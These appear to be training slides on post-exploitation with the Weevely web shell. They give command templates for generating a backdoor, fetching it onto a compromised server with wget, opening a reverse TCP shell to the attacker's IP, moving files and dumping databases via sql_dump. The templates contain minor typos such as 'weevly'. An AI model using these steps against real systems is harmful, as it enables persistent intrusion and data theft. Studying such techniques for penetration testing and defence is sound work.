Post Exploitation

Post Exploitation

Basic bash to Weevely

1. Generate backdoor

   > weevly generate [passord] [file name]
2. Upload it to any server (make sure you have a direct URL)
3. Download it from hacked machine.

   > wget [url]
4. Connect to it from Kali

   > weevly [url to file] [password]

Post Exploitation

Weevely Basics

- Run any shell commands directly.
- Run Weevely functions
- List all Weevely functions
- Get help about a specific function

```
> whoami

> [function name]

> help

> [function name] -h
```

Post Exploitation

Downloading Files

- Download files to local machine.
- Find plugin help
  > file_download -h

- Useage
  > file_download -vector [VECTOR] [FileName] -host [HOST] [location to store file]

Post Exploitation

Uploading Files

- Upload files to web server.
- Find plugin help
  > file_upload -h

- Useage
  > file_upload -vector [VECTOR] [location on local machine] [location to store file]

Post Exploitation

Running Shell Commands

- Run any shell commands directly.
  > whoami

- Use the commands function if the above does not work
  > shell_sh –h

- Usage
  > shell_sh [command]
  >shell_sh –v [vector] [command

Post Exploitation

Weevely to Reverse Shell

- Reverse shell connection from target to us.
- May help us bypass security.
- Get function help
  > backdoor_reversetcp -h

- Useage
  > backdoor_reversetcp -vector [VECTOR] [YOUR IP] [PORT]

Post Exploitation

Accessing The Database

1. Find and read config file.

2. Use sql_console to drop to sql console or sql_dump to dump the whole database, examples:
   > sql_console –h
   > sql_dump –h

- Useage

> sql_dump –vector [VECTOR] –host [HOST] –lpath [location to store date] [DBName] [username] [password]